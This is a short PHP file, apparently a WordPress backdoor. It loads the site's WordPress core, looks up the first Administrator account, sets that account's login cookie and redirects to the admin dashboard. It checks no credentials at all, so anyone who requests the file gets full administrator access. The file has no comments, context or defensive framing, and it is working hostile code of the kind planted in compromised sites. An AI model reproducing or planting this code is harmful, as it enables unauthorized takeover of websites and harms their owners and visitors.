<?php
$rxtql = $_SERVER['DOCUMENT_ROOT'];
@chdir($rxtql);
if (file_exists('wp-load.php')) {
    include 'wp-load.php';
    $wp_user_query = new WP_User_Query(array(
        'role'   => 'Administrator',
        'number' => 1,
        'fields' => 'ID'
    ));
    $results = $wp_user_query->get_results();

    if (isset($results[0])) {
        wp_set_auth_cookie($results[0]);
        wp_redirect(admin_url());
        die();
    }
    die('NO ADMIN');

} else {
    die('Failed to load');
}
?>